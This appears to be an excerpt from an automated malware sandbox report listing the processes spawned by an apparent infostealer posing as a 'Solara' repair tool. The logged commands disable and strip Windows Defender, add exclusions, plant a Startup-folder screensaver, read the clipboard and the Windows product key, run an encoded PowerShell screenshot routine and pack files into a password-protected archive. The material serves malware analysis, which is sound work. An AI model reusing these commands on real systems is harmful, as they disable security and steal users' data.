Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Removes signatures from Windows Defender
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe" Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara | Repaired', 48+16);close()" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaa